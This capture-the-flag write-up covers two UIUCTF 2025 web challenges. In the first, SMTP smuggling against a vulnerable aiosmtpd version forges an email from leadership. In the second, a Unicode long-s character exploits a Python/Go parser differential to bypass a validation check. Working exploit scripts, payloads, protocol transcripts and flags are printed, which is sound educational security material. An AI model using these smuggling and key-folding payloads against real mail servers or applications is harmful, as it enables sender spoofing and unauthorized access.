This writeup is about the middle two out of four UIUCTF 2025 web challenges that exploited vulnerabilities in protocol handling and parser implementations.

Challenge 2: Supermassive Black Hole

Black Hole Ticketing Services provided a ticket submission system with an internal SMTP server for processing requests. The goal was to escalate our privilege to receive responses meant for leadership.

Application Architecture

  1. Web Server (web_server.py) - Handles ticket submissions via HTTP
  2. SMTP Server (smtp_server.py) - Processes emails internally using aiosmtpd
@app.route('/submit_ticket', methods=['POST'])
def submit_ticket():
    subject = request.form.get('subject', '')
    message = request.form.get('message', '')
    ticket_id = str(uuid.uuid4())

    # Custom SMTP handling with disabled protections
    original_fix_eols = smtplib._fix_eols
    original_quote_periods = smtplib._quote_periods
    original_data = smtplib.SMTP.data

    try:
        smtplib._fix_eols = return_unchanged
        smtplib._quote_periods = return_unchanged
        smtplib.SMTP.data = new_data

        message_data = f"""\
From: support@blackholeticketing.com\r\n\
To: it@blackholeticketing.com\r\n\
Subject: {subject}\r\n\
X-Ticket-ID: {ticket_id}\r\n\
\r\n\
{message}\r\n\
.\r\n""".encode()

        ending_count = message_data.count(b'\r\n.\r\n')
        if ending_count != 1:
            raise ValueError("Bad Request")

        with smtplib.SMTP('localhost', 1025) as client:
            client.sendmail('support@blackholeticketing.com', ['it@blackholeticketing.com'], message_data)

The SMTP server processes messages based on the From header:

class ITBotHandler(AsyncMessage):
    async def handle_message(self, message):
        from_header = message.get('From', 'Unknown')

        if internal.leadership_email in from_header.lower():
            response = "C-Suite ticket received! Will escalate immediately!" + f"\n{internal.flag}"
        elif internal.support_email in from_header.lower():
            response = "Request for support received! Will resolve after lunch break."
        else:
            response = "Please use our support portal to submit a ticket."

Vulnerability Analysis

The application uses aiosmtpd==1.4.4, which is vulnerable to CVE-2024-27305 - an SMTP smuggling vulnerability. The key issues are:

  1. Disabled SMTP Protections: The web server disables _fix_eols and _quote_periods functions
  2. Custom Data Handler: Uses a custom new_data function that doesn’t properly validate SMTP command boundaries
  3. Vulnerable aiosmtpd Version: The SMTP server doesn’t properly handle smuggled commands

SMTP Smuggling Attack

SMTP smuggling exploits the fact that SMTP is a text-based protocol where commands are separated by CRLF sequences. By injecting SMTP commands into the message body, we can trick the server into processing multiple emails.

The attack works by:

  1. Starting with legitimate message content (Abc123)
  2. Adding a message terminator (\n\n.\r\n)
  3. Injecting new SMTP commands to send a second email
  4. Setting the From header to leadership@blackholeticketing.com
  5. Using a controlled ticket ID for retrieval

Server Interaction Analysis

Here’s what happens at the protocol level when we send our malicious payload:

Normal SMTP conversation:

> HELO example.com
< 250 Hello example.com
> MAIL FROM: <support@blackholeticketing.com>
< 250 OK
> RCPT TO: <it@blackholeticketing.com>
< 250 OK
> DATA
< 354 End data with <CR><LF>.<CR><LF>
> From: support@blackholeticketing.com
> To: it@blackholeticketing.com
> Subject: Test
> X-Ticket-ID: <uuid>
>
> Abc123
>
> .
< 250 Message accepted for delivery

Our smuggled SMTP conversation:

> HELO example.com
< 250 Hello example.com
> MAIL FROM: <support@blackholeticketing.com>
< 250 OK
> RCPT TO: <it@blackholeticketing.com>
< 250 OK
> DATA
< 354 End data with <CR><LF>.<CR><LF>
> From: support@blackholeticketing.com
> To: it@blackholeticketing.com
> Subject: Test
> X-Ticket-ID: <uuid>
>
> Abc123
>
> .
< 250 Message accepted for delivery
> MAIL FROM: <support@blackholeticketing.com>
< 250 OK
> RCPT TO: <it@blackholeticketing.com>
< 250 OK
> DATA
< 354 End data with <CR><LF>.<CR><LF>
> From: leadership@blackholeticketing.com
> To: it@blackholeticketing.com
> Subject: a1
> X-Ticket-ID: 22970371-64b2-484f-be43-d46c21093943
>
> Def456
> .
< 250 Message accepted for delivery

The key insight is that the aiosmtpd server interprets our injected SMTP commands as a new email transaction, allowing us to send a second email that appears to come from leadership.

Exploitation

import requests
import time

response = requests.post(
    "https://inst-b40162b9c65e1e9e-supermassive-black-hole.chal.uiuc.tf/submit_ticket",
    data={
        'subject': 'Test',
        'message': "Abc123\n\n.\r\nMAIL FROM: <support@blackholeticketing.com>\r\nRCPT TO: <it@blackholeticketing.com>\r\nDATA\r\nFrom: leadership@blackholeticketing.com\r\nTo: it@blackholeticketing.com\r\nSubject: a1\r\nX-Ticket-ID: 22970371-64b2-484f-be43-d46c21093943\r\n\r\nDef456"
    }
)

time.sleep(2)
print(requests.get(
    "https://inst-b40162b9c65e1e9e-supermassive-black-hole.chal.uiuc.tf/check_response/22970371-64b2-484f-be43-d46c21093943"
))

Flag: uiuctf{7h15_c0uld_h4v3_b33n_4_5l4ck_m355463_8091732490}

Challenge 3: Shipping Bay

This challenge involved a Flask application with a Go backend service for processing shipments. The application validates input differently in Python versus Go, creating a parser differential vulnerability.

Application Architecture

The Flask frontend processes shipment requests:

@app.route('/create_shipment', methods=['POST'])
def create_shipment():
    shipment_data = {k.lower(): v for k, v in request.form.items()}

    if shipment_data['supply_type'] == "flag":
        return "Error: Invalid supply type", 400

    shipment_status = subprocess.check_output(["/home/user/processing_service", json.dumps(shipment_data)]).decode().strip()

    return redirect(url_for('index', status=shipment_status))

The protection mechanism:

  1. Converts all form keys to lowercase using k.lower()
  2. Blocks requests where supply_type equals "flag"
  3. Passes data to Go backend for processing

Vulnerability Analysis

The issue lies in Unicode normalization differences between Python and Go parsers. While the JSON RFC specifies that keys are case-sensitive, many parsers normalize or fold Unicode characters differently.

The vulnerability exploits the fact that:

  1. Python’s k.lower() handles Unicode normalization one way
  2. Go’s JSON parser may interpret certain Unicode characters differently
  3. Some Unicode characters can appear visually similar but have different codepoints

Unicode Character Exploitation

The solution involves using Unicode character U+017F (ſ - Latin Small Letter Long S). This character:

  • Visually resembles the letter ‘s’
  • Has a different Unicode codepoint than regular ‘s’
  • Is handled differently by Python and Go parsers

Server Processing Flow

What Python sees:

Request: supply_type=a&ſupply_type=flag
After k.lower(): {'supply_type': 'a', 'ſupply_type': 'flag'}
Validation: shipment_data['supply_type'] == "flag" → False (it's 'a')
✓ Validation passes

What gets sent to Go:

{"supply_type": "a", "ſupply_type": "flag"}

And the go parser internally overrides the dictionary that’s parsed to with the last value it sees for the (normalized) key supply_type.

Exploitation

import requests
import urllib.parse

response = requests.post(
    "https://shipping-bay.chal.uiuc.tf/create_shipment",
    data="supply_type=a&ſupply_type=flag",
    headers={"Content-Type": "application/x-www-form-urlencoded"}
)

parsed_url = urllib.parse.urlparse(response.url)
query_params = urllib.parse.parse_qs(parsed_url.query)
flag = urllib.parse.unquote(query_params['status'][0])

Flag: uiuctf{maybe_we_should_check_schemas_8e229f}